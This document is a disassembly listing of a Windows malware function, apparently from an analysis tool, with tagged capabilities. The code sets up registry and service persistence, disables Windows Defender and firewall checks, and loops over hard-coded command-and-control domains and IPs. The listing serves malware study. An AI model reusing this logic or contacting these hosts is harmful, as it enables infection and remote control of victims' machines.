Function at 0x4037ed
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create thread
Delete file
Disable windows defender features via registry on windows
Move file
Persist via run registry key
Persist via windows service
Query environment variable
Query or enumerate registry value
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x122c
call fcn.00404820
push esi
push edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x4051f0
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405208
push 0x405218
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405228
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x40523c
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405254
push 0x405264
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405274
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x405288
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x4052a0
push 0x4052b0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4052c0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x4052d4
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x4052ec
push 0x4052fc
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x40530c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x405320
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405338
push 0x405348
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405358
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x40536c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x405380
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405398
push 0x4053a8
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4053b8
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, str.______TLDR______
lea edi, [ebp - 0x47c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 6
pop ecx
mov esi, str.winsvcs.exe
lea edi, [ebp - 0x224]
rep movsd dword es:[edi], dword [esi]
push 0xd
pop ecx
mov esi, str.Microsoft_Windows_Services
lea edi, [ebp - 0x468]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 0x9a0], str.http:__92.63.197.60_
mov dword [ebp - 0x99c], str.http:__92.63.197.112_
mov dword [ebp - 0x998], str.http:__booomaahuuoooapl.ru_
mov dword [ebp - 0x994], str.http:__eoufaoeuhoauengi.ru_
mov dword [ebp - 0x990], str.http:__maeobnaoefhgoajo.ru_
mov dword [ebp - 0x98c], str.http:__ashihsijaediaehf.ru_
mov dword [ebp - 0x988], str.http:__plpanaifheaighai.ru_
mov dword [ebp - 0x984], str.http:__iuefgauiaiduihgs.ru_
mov dword [ebp - 0x980], str.http:__aeiziaezieidiebg.ru_
mov dword [ebp - 0x97c], str.http:__aneoeauhiazegfiz.ru_
mov dword [ebp - 0x978], str.http:__uoaeogauhduadhug.ru_
mov dword [ebp - 0x974], str.http:__plpoiupakludkosa.ru_
mov dword [ebp - 0x970], str.http:__booomaahuuoooapl.su_
mov dword [ebp - 0x96c], str.http:__eoufaoeuhoauengi.su_
mov dword [ebp - 0x968], str.http:__maeobnaoefhgoajo.su_
mov dword [ebp - 0x964], str.http:__ashihsijaediaehf.su_
mov dword [ebp - 0x960], str.http:__plpanaifheaighai.su_
mov dword [ebp - 0x95c], str.http:__iuefgauiaiduihgs.su_
mov dword [ebp - 0x958], str.http:__aeiziaezieidiebg.su_
mov dword [ebp - 0x954], str.http:__aneoeauhiazegfiz.su_
mov dword [ebp - 0x950], str.http:__uoaeogauhduadhug.su_
mov dword [ebp - 0x94c], str.http:__plpoiupakludkosa.su_
mov dword [ebp - 0x948], str.http:__booomaahuuoooapl.in_
mov dword [ebp - 0x944], str.http:__eoufaoeuhoauengi.in_
mov dword [ebp - 0x940], str.http:__maeobnaoefhgoajo.in_
mov dword [ebp - 0x93c], str.http:__ashihsijaediaehf.in_
mov dword [ebp - 0x938], str.http:__plpanaifheaighai.in_
mov dword [ebp - 0x934], str.http:__iuefgauiaiduihgs.in_
mov dword [ebp - 0x930], str.http:__aeiziaezieidiebg.in_
mov dword [ebp - 0x92c], str.http:__aneoeauhiazegfiz.in_
mov dword [ebp - 0x928], str.http:__uoaeogauhduadhug.in_
mov dword [ebp - 0x924], str.http:__plpoiupakludkosa.in_
mov dword [ebp - 0x920], str.http:__booomaahuuoooapl.net_
mov dword [ebp - 0x91c], str.http:__eoufaoeuhoauengi.net_
mov dword [ebp - 0x918], str.http:__maeobnaoefhgoajo.net_
mov dword [ebp - 0x914], str.http:__ashihsijaediaehf.net_
mov dword [ebp - 0x910], str.http:__plpanaifheaighai.net_
mov dword [ebp - 0x90c], str.http:__iuefgauiaiduihgs.net_
mov dword [ebp - 0x908], str.http:__aeiziaezieidiebg.net_
mov dword [ebp - 0x904], str.http:__aneoeauhiazegfiz.net_
mov dword [ebp - 0x900], str.http:__uoaeogauhduadhug.net_
mov dword [ebp - 0x8fc], str.http:__plpoiupakludkosa.net_
mov dword [ebp - 0x8f8], str.http:__booomaahuuoooapl.com_
mov dword [ebp - 0x8f4], str.http:__eoufaoeuhoauengi.com_
mov dword [ebp - 0x8f0], str.http:__maeobnaoefhgoajo.com_
mov dword [ebp - 0x8ec], str.http:__ashihsijaediaehf.com_
mov dword [ebp - 0x8e8], str.http:__plpanaifheaighai.com_
mov dword [ebp - 0x8e4], str.http:__iuefgauiaiduihgs.com_
mov dword [ebp - 0x8e0], str.http:__aeiziaezieidiebg.com_
mov dword [ebp - 0x8dc], str.http:__aneoeauhiazegfiz.com_
mov dword [ebp - 0x8d8], str.http:__uoaeogauhduadhug.com_
mov dword [ebp - 0x8d4], str.http:__plpoiupakludkosa.com_
mov dword [ebp - 0x8d0], str.http:__booomaahuuoooapl.biz_
mov dword [ebp - 0x8cc], str.http:__eoufaoeuhoauengi.biz_
mov dword [ebp - 0x8c8], str.http:__maeobnaoefhgoajo.biz_
mov dword [ebp - 0x8c4], str.http:__ashihsijaediaehf.biz_
mov dword [ebp - 0x8c0], str.http:__plpanaifheaighai.biz_
mov dword [ebp - 0x8bc], str.http:__iuefgauiaiduihgs.biz_
mov dword [ebp - 0x8b8], str.http:__aeiziaezieidiebg.biz_
mov dword [ebp - 0x8b4], str.http:__aneoeauhiazegfiz.biz_
mov dword [ebp - 0x8b0], str.http:__uoaeogauhduadhug.biz_
mov dword [ebp - 0x8ac], str.http:__plpoiupakludkosa.biz_
mov dword [ebp - 0x8a8], str.http:__112.126.94.107_
mov dword [ebp - 0x8a4], str.http:__172.104.40.92_
mov dword [ebp - 0x8a0], str.http:__123.56.228.49_
mov dword [ebp - 0x9b4], 0x405bb0
mov dword [ebp - 0x9b0], 0x405bb8
mov dword [ebp - 0x9ac], 0x405bc0
mov dword [ebp - 0x9a8], 0x405bc8
mov dword [ebp - 0x9a4], 0x405bd0
lea eax, [ebp - 0x47c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xfd4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403c1c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
pop ecx
and dword [ebp - 0x894], 0
mov dword [ebp - 0x20c], 1
push 0x208
push 0
lea eax, [ebp - 0x890]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0xbc0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x688]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x405bd8
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405bf0
push 0x405c00
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405c10
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x208
lea eax, [ebp - 0x890]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x405c24
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405c3c
push 0x405c4c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405c5c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x890]
push eax
push 0x405c70
push 0x208
lea eax, [ebp - 0xbc0]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push 0
push 0x405c98
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405cb0
push 0x405cc0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405cd0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xbc0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x405ce4
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405cfc
push 0x405d0c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405d1c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xdc4], str._windir_
mov dword [ebp - 0xdc0], str._userprofile_
mov dword [ebp - 0xdbc], 0x405d60
and dword [ebp - 0xfd8], 0
jmp 0x403d9c
mov eax, dword [ebp - 0xfd8]
inc eax
mov dword [ebp - 0xfd8], eax
cmp dword [ebp - 0xfd8], 3
jae 0x403fd0
push 0x208
push 0
lea eax, [ebp - 0x430]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0xfd0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x405d70
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405d88
push 0x405d98
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405da8
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x208
lea eax, [ebp - 0x430]
push eax
mov eax, dword [ebp - 0xfd8]
push dword [ebp + eax*4 - 0xdc4]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0x405dbc
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405dd4
push 0x405de4
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405df4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x430]
push eax
push str._lsT_507450847076085080
push 0x208
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push 0
push 0x405e3c
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405e54
push 0x405e64
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405e74
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x208]
push eax
push str._ls_ls
push 0x208
lea eax, [ebp - 0xfd0]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
push 0
push 0x405e98
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405eb0
push 0x405ec0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405ed0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xfd0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x403f34
push 0
push 0x405ee4
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405efc
push 0x405f0c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405f1c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x403fd0
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x403f7c
push 0
push 0x405f30
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405f48
push 0x405f58
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405f68
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
lea eax, [ebp - 0xfd0]
push eax
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403fc0
push 0
push 0x405f7c
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x405f94
push 0x405fa4
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x405fb4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x403fd0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403d8f
lea eax, [ebp - 0x468]
push eax
lea eax, [ebp - 0xfd0]
push eax
push str._ls::Enabled:_s
push 0x208
lea eax, [ebp - 0x688]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
push 0
push 0x405fec
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x406004
push 0x406014
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x406024
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xfd0]
mov dword [ebp - 0x11ec], eax
lea eax, [ebp - 0x890]
mov dword [ebp - 0x11f0], eax
mov eax, dword [ebp - 0x11f0]
mov ax, word [eax]
mov word [ebp - 0x11f2], ax
mov ecx, dword [ebp - 0x11ec]
cmp ax, word [ecx]
jne 0x40409a
cmp word [ebp - 0x11f2], 0
je 0x404091
mov eax, dword [ebp - 0x11f0]
mov ax, word [eax + 2]
mov word [ebp - 0x11f4], ax
mov ecx, dword [ebp - 0x11ec]
cmp ax, word [ecx + 2]
jne 0x40409a
add dword [ebp - 0x11f0], 4
add dword [ebp - 0x11ec], 4
cmp word [ebp - 0x11f4], 0
jne 0x404037
and dword [ebp - 0x11f8], 0
jmp 0x4040a5
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x11f8], eax
mov eax, dword [ebp - 0x11f8]
mov dword [ebp - 0x11fc], eax
cmp dword [ebp - 0x11fc], 0
je 0x40434d
push 0
push 0x406038
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x406050
push 0x406060
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x406070
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 7
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0x406084
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x40609c
push 0x4060ac
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4060bc
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 7
lea eax, [ebp - 0xfd0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x894]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404227
push 0
push 0x406130
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x406148
push 0x406158
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x406168
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xfd0]
mov dword [ebp - 0x1200], eax
mov eax, dword [ebp - 0x1200]
add eax, 2
mov dword [ebp - 0x1204], eax
mov eax, dword [ebp - 0x1200]
mov ax, word [eax]
mov word [ebp - 0x1206], ax
add dword [ebp - 0x1200], 2
cmp word [ebp - 0x1206], 0
jne 0x404195
mov eax, dword [ebp - 0x1200]
sub eax, dword [ebp - 0x1204]
sar eax, 1
mov dword [ebp - 0x120c], eax
mov eax, dword [ebp - 0x120c]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0xfd0]
push eax
push 1
push 0
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push 0x40616c
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x406184
push 0x406194
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4061a4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x894]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404322
push 0
push 0x406218
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x406230
push 0x406240
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x406250
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xfd0]
mov dword [ebp - 0x1210], eax
mov eax, dword [ebp - 0x1210]
add eax, 2
mov dword [ebp - 0x1214], eax
mov eax, dword [ebp - 0x1210]
mov ax, word [eax]
mov word [ebp - 0x1216], ax
add dword [ebp - 0x1210], 2
cmp word [ebp - 0x1216], 0
jne 0x404290
mov eax, dword [ebp - 0x1210]
sub eax, dword [ebp - 0x1214]
sar eax, 1
mov dword [ebp - 0x121c], eax
mov eax, dword [ebp - 0x121c]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0xfd0]
push eax
push 1
push 0
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push 0x406264
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x40627c
push 0x40628c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x40629c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xfd0]
push eax
call fcn.00401ece
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x894]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4044d1
push 0
push 0x40639c
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x4063b4
push 0x4063c4
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4063d4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xfd0]
push eax
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xfdc], eax
push 0
push 0x4063e8
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x406400
push 0x406410
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x406420
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0xfdc], 2
jne 0x40449d
push 0
push 0x406434
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x40644c
push 0x40645c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x40646c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x688]
mov dword [ebp - 0x1220], eax
mov eax, dword [ebp - 0x1220]
add eax, 2
mov dword [ebp - 0x1224], eax
mov eax, dword [ebp - 0x1220]
mov ax, word [eax]
mov word [ebp - 0x1226], ax
add dword [ebp - 0x1220], 2
cmp word [ebp - 0x1226], 0
jne 0x40443f
mov eax, dword [ebp - 0x1220]
sub eax, dword [ebp - 0x1224]
sar eax, 1
mov dword [ebp - 0x122c], eax
mov eax, dword [ebp - 0x122c]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x688]
push eax
push 1
push 0
lea eax, [ebp - 0xfd0]
push eax
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push 0x406480
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x406498
push 0x4064a8
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4064b8
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x894]
push eax
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_Defender_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4045e9
push 0
push 0x40651c
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x406534
push 0x406544
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x406554
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push 0x406568
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xfe0], eax
push 0
push 0x406590
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x4065a8
push 0x4065b8
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4065c8
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0xfe0], 2
jne 0x4045b5
push 0
push 0x4065dc
call dword [sym.imp.USER32.dll_FindWindowW]
push 0x4065f4
push 0x406604
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x406614
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.DisableAntiSpyware
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push str.5268385838
call dword [sym.imp.USER32.dll_FindWindowW]
push str.4346436
push str.4646663
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.463473575
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x894]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4029fc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x403329
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401e16
movzx eax, al
test eax, eax
je 0x4046aa
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x403611
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
and dword [ebp - 0xfe4], 0
jmp 0x404681
mov eax, dword [ebp - 0xfe4]
inc eax
mov dword [ebp - 0xfe4], eax
cmp dword [ebp - 0xfe4], 0x41
jae 0x4046aa
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfe4]
push dword [ebp + eax*4 - 0x9a0]
call fcn.00401d84
pop ecx
jmp 0x404674
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
and dword [ebp - 0xfe8], 0
jmp 0x4046cb
mov eax, dword [ebp - 0xfe8]
inc eax
mov dword [ebp - 0xfe8], eax
cmp dword [ebp - 0xfe8], 0x41
jae 0x4047e9
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
push 0
lea eax, [ebp - 0xdb8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0xfe8]
push dword [ebp + eax*4 - 0x9a0]
push 0x40669c
push 0x1f4
lea eax, [ebp - 0xdb8]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
and dword [ebp - 0xfec], 0
jmp 0x404740
mov eax, dword [ebp - 0xfec]
inc eax
mov dword [ebp - 0xfec], eax
cmp dword [ebp - 0xfec], 5
jae 0x4047e4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
push 0
lea eax, [ebp - 0x11e8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0xfec]
push dword [ebp + eax*4 - 0x9b4]
lea eax, [ebp - 0xdb8]
push eax
push str._s_s
push 0x1f4
lea eax, [ebp - 0x11e8]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x14
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x11e8]
push eax
call fcn.004016d6
pop ecx
movzx eax, al
test eax, eax
je 0x4047df
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
lea eax, [ebp - 0x11e8]
push eax
push 0x402bb4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x404733
jmp 0x4046be
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 5
add edx, 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4046b5